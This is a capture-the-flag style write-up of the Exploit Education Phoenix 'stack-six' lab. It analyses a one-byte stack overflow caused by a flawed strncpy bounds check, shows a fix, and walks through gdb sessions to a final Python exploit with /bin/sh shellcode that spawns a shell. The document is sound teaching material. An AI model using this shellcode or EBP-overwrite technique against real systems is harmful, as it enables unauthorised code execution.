02 February 2019

Stack 6

Write-up for: Stack Six

The goal is to take control of execution. Input can be passed to the program via the ExploitEducation environment variable.

user@phoenix-amd64:/opt/phoenix/i486$ ./stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, Hello

Static analysis

  • a pointer to the environment variable is stored in a local variable (ebp - local_ch)
  • the greet function is called with this pointer as an argument

The greet function is the most interesting part of the program. Let’s inspect it in detail:

radare2 stack-six
aa
VV @ sym.greet

First, the length of the environment variable (passed as a pointer argument) is stored at ebp - local_ch. If the length is greater than 127 (0x7f), 127 is stored as the length instead.

call sym.imp.strlen ;[a]; size_t strlen(const char *s);  |
mov dword [ebp - local_ch], eax
...
// store 0x7f instead
cmp eax, 0x7f
jbe 0x80485af // jump below or equal
mov dword [ebp - local_ch], 0x7f 

Next, in greet, the global variable what is stored in eax and then copied to the buffer at ebp - local_8ch using strcpy. After that, the length of the buffer (at ebp - local_8ch) is calculated with strlen. The result of this call is used to determine the first argument to strncpy, which copies up to 127 bytes of the argument value (the environment value) to buffer + strlen(buffer).

The bug

Now, the bug is evident. The buffer can hold 128 bytes including the terminating null byte. A constant string is copied to the buffer first. Afterwards, seemingly bounds checked,a user-provided string is copied after that. However, the bounds check does not take into account that the value is not written to the beginning of the buffer.

maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
}


strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize); // THIS CAN OVERFLOW BY strlen(buffer) bytes

As an attacker, we can overflow the stack buffer variable by a maximum of strlen(buffer).

Fixing the bug

To fix the issue, the maximum size calculation to be used in strncpy would need to happen after the first strcpy and would need to subtract strlen(buffer) from the maximum of 127 bytes.

Dynamic analysis

Some information required for exploiting the bug can be more easily obtained via inspecting the program at runtime.

First, we need the size of the global variable what to determine strlen(buffer) at the time of the overflow:

(gdb) print (char*)what
$1 = 0x80486c0 "Welcome home, "

The string at the beginning of the 128 byte buffer is “Welcome home, “ which, including the terminating null byte, is 15 bytes long. That means we can overwrite the buffer by at most 15 bytes. Not enough for placing our shellcode but maybe enough to redirect execution.

Exploitation

The plan of attack is to overwrite the stored return address of greet in order to control eip. Afterwards, we will try to store our shellcode somewhere and jump there.

In order to overwrite the return address, we need the offset of the address to buffer. This can be determined in gdb by inspecting the stack at various points of execution.

Address of user input: 0xffffd4bc Return address (this is what we look for on the stack): 0x0804865f Stored return address location: 0xffffd54c

Offset = 0xffffd54c - 0xffffd4bc = 144

This is a problem because the maximum size we can write is 127 + 15 = 142. That’s enough to crash the program, but not enough to directly overwrite EIP. Let’s see if there is anything we can control:

$- export ExploitEducation=`python -c 'print "A" * 127'`
(gdb) break *greet+133
Breakpoint 1 at 0x804860a
(gdb) r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education

Breakpoint 1, 0x0804860a in greet ()
(gdb) info reg
eax            0x8049930           134519088
ecx            0x0                 0
edx            0x0                 0
ebx            0x41414141          1094795585
esp            0xffffd54c          0xffffd54c
ebp            0xffffd541          0xffffd541
esi            0xffffd604          -10748
edi            0x1                 1
eip            0x804860a           0x804860a <greet+133>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/xw 0xffffd541
0xffffd541:     0x41414141

Using the maximum overflow length, we can observe that we control the LSB of the EBP register. How is this helpful in controlling execution? During the return from greet EBP is used to restore ESP. Then, the value from the top of ESP is used to load EIP in order to continue execution. Since we control the value at the overwritten EBP address (0x41414141), we should be able to overwrite EIP.

saved ebp: 0xffffd558 @ 0xffffd528

In the debugger we can see that we overwrite the last byte of the saved EBP.

0xffffd520:     0x41414141      0x41414141      0xffffd541      0x0804865f

Using this technique, we can manipulate ESP in the main function. Just before leaving main, its value is: 0xffffd545 = overwritten EBP (0xffffd541) + 0x4.

Just before leaving main the value stored at that address is 0x0, leading to a crash during return (SIGSEGV). The goal is now to manipulate the last byte of the stored EBP, so that EBP+0x4 points to a value we control.

(gdb) x/xw $esp
0xffffd545:     0x00000000

(gdb) x/16xw $esp-41
0xffffd51c:     0x00000000      0x41414141      0xffffd5e4      0x00000001
0xffffd52c:     0x0804866b      0x08049930      0x00000000      0x00000000
0xffffd53c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd54c:     0xffffded6      0x00000000      0xffffd570      0xffffd5ec
0x08048673 <+104>:   mov    ecx,DWORD PTR [ebp-0x4]

Here, the value at ebp-0x4 is stored in ecx. This is crucial since ECX will be used to restore ESP before leaving main. This means, if we can control the value at EBP-0x4 we can set ESP to an arbitrary value before leaving main. If we can do this, we can control EIP and gain arbitrary code execution.

0x08048676 <+107>:   leave
=> 0x08048677 <+108>:   lea    -0x4(%ecx),%esp
0x0804867a <+111>:   ret

When leaving main, ESP is set to ECX-0x4. Remember, ECX was previously set to an attacker-controlled value.

First, we need to find the offset that can be used to arbitrarily set the last byte of EBP. This is easy, since it is only one byte, it is most likely the very last byte of our payload. Let’s confirm this:

export ExploitEducation=`python -c 'print "A" * 126 + "B"'`

(gdb) break *main+107
Breakpoint 1 at 0x8048676
(gdb) r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB_

Breakpoint 1, 0x08048676 in main ()
(gdb) info reg
eax            0x0                 0
ecx            0x41410000          1094778880
edx            0x0                 0
ebx            0x41414141          1094795585
esp            0xffffd560          0xffffd560
ebp            0xffffd542          0xffffd542
esi            0xffffd604          -10748
edi            0x1                 1
eip            0x8048676           0x8048676 <main+107>
eflags         0x286               [ PF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

We can see that before leaving main, EBP is set to 0xffffd542. This means we can control the LSB by setting the last byte of our payload. Great!

Next, we need to find a suitable byte. This means having user-controlled data at EBP-0x4. To do that, let’s just look at the surroundings of what we currently have:

(gdb) x (0xffffd544-0x4)
0xffffd540:     0x41414141

This looks promising! Setting the byte to 0x44 lands us at some user-controlled value. Now, we need to find the offset of this value. Let’s do this by using a unique pattern generated by https://github.com/Svenito/exploit-pattern.

~/exploit-pattern [master] » python pattern.py 126
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1" + "B"'`

(gdb) x/4c 0xffffd540
0xffffd540:     48 '0'  65 'A'  101 'e' 49 '1'

~/exploit-pattern [master] » python pattern.py 0Ae1
Pattern 0Ae1 first occurrence at position 122 in pattern.

This tells us, that the user-controlled word is at offset 122 in our payload. Let’s confirm this by writing something specific there:

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python -c 'print "A" * 122 + "CCCC" + "B"'`

(gdb) x/4c 0xffffd540
0xffffd540:     67 'C'  67 'C'  67 'C'  67 'C'

This works. To recap, now we can control ESP because ESP is set to ECX-0x4 and ECX is set to whatever is stored at EBP-0x4. The value that we store there should therefore point to our buffer. Then we can provide a new value for EIP and the game is over. Our payload currently looks like this:

[A*122][CCCC][0x44]. This should lead to a ECX value of 0x43434343 (CCCC). Let’s confirm:

(gdb) info reg
eax            0x0                 0
ecx            0x43434343          1128481603

Now all that is left is find a good address to jump to. Ideally some area of memory that we control via the environment variable. Let’s check were our buffer is before it is printed out in main:

(gdb) x/64xw 0x8049930
0x8049930:      0x636c6557      0x20656d6f      0x656d6f68      0x4141202c
0x8049940:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049950:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049960:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049970:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049980:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049990:      0x41414141      0x41414141      0x41414141      0x41414141
0x80499a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x80499b0:      0x41414141      0x41414141      0x43434343      0xffffd544
0x80499c0:      0x0804865f      0xffffdef3      0x00000000      0x00000000
0x80499d0:      0x00000000      0x00000000      0x000000b1      0x00000620
0x80499e0:      0xf7ffb968      0xf7ffb968      0x00000000      0x00000000
0x80499f0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049a00:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049a10:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049a20:      0x00000000      0x00000000      0x00000000      0x00000000

0x8049940 looks like a good candidate. To load it as ESP, we have to add 0x4, so we use 0x8049944 for the value at EBP-0x4 that is loaded into ECX.

Running the program now is very promising:

eip            0x41414141          0x41414141

We control EIP! The game is now over :) All that’s left is to write some shellcode into this buffer instead of “A”s. This is our final exploit:

buf = "\x08\x04\x99\x46"[::-1] # top of "new stack" -> will be EIP
buf += "\x90" * 8 # some leeway
buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # /bin/sh
buf += "\x90" * (122 - len(buf)) # padding
buf += "\x08\x04\x99\x42"[::-1] # new ECX (ESP + 0x4)
buf += "\x44" # LSB for EBP
print buf

Running it in gdb works! We have a shell!

user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py`
user@phoenix-amd64:/opt/phoenix/i486$ gdb stack-six
GNU gdb (GDB) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack-six...(no debugging symbols found)...done.
(gdb) run
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, 1Ph//shh/binS̀D_
process 662 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
$ ls
[Detaching after fork from child process 666]
final-one   format-four   format-two   heap-three  net-one   stack-five  stack-six    stack-zero
final-two   format-one    format-zero  heap-two    net-two   stack-four  stack-three
final-zero  format-three  heap-one     heap-zero   net-zero  stack-one   stack-two

However, since we forgot about the environment difference between gdb and outside, it does not work standalone. Let’s fix that. In order to make it work outside we need to fix the target addresses used in our exploit since they will be shifted due to gdb having additional environment variables in front of the stack. The process is the same: look at the memory just before leaving main.

To provide the same environment, we need to run the following in gdb:

unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/i486/stack-six

Then we can determine a new LSB for EBP so we can control EIP reliably:

  1. Set LSB of EBP (buf[127]) so that EBP-0x4 is controlled by user: 0x54

Final Exploitation

buf = "\x08\x04\x99\x46"[::-1] # top of "new stack" -> will be EIP
buf += "\x90" * 8 # some leeway
buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # /bin/sh
buf += "\x90" * (122 - len(buf)) # padding
buf += "\x08\x04\x99\x42"[::-1] # new ESP
buf += "\x54" # LSB for EBP, will make ECX = *(EBP - 0x4)
print buf
user@phoenix-amd64:/opt/phoenix/i486$ export ExploitEducation=`python ~/stack-six.py`
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, 1Ph//shh/binS̀T_
$ whoami
phoenix-i386-stack-six

PWNED!

Further reference

Article on one-byte overflows: https://www.cgsecurity.org/exploit/P55-08